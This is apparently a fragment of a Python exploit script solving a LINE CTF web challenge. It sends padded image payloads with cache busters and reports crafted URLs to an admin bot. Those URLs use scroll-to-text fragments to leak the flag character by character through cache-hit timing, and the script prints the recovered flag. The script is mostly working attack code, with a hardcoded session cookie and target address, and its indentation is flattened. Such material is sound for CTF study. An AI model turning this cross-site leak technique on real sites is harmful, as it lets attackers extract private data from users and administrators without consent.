aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "img_file": "lmao.png", "img_url": f"/static/image/6b29849c32e448daa28d6dae43d42015.png?{cache_buster} preload=lazy loading=lazy"}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, allow_redirects=False)
return r.headers['X-ImageId']
def report_admin(id, flag=''):
import requests
burp0_url = "http://35.187.204.223:80/share"
burp0_cookies = {"session": ".eJwlzrsNwzAMANFdWKeQKYofL2OIooikteMqyO4RkAEe7j5w5DmvJ-zv854POF4BOyChVg_tU9Sst5TwiBLSWdCUjUSdRump6cwYQZzoalKtaS2Vlm5sZaoyD5mpXMaiIc5eY1ZEI2xlo8LIskIDu8RIzujNYI3c1zz_NxsKfH_zVy8p.Yj8kaw.q9MjPqCK1p6JA26RsaPhNHFQx2c"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "Content-type": "application/json", "Accept": "*/*", "Origin": "http://35.187.204.223", "Referer": "http://35.187.204.223/image/14edd883-cc07-4eb5-a1e7-6b79736665af", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_json={"path": f"image/{id}#:~:text=LINECTF{{" + flag}
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, json=burp0_json)
import time
import random
import string
#flag = '0/5/d/b/a/e/e/7/c/c/'
flag = ''
while flag.count('/') < 10:
for c in '0123456789abcdef':
print('Trying',c)
cache_buster = ''.join(random.sample(string.ascii_letters, 8))
id = post_payload(cache_buster)
report_admin(id, flag + c + '/')
time.sleep(2)
if get_cache_hit(cache_buster) == True:
flag += c + '/'
print(flag)
break
print(f'found flag LINECTF{{{flag}}}')
LINECTF{0/5/d/b/a/e/e/7/c/c/}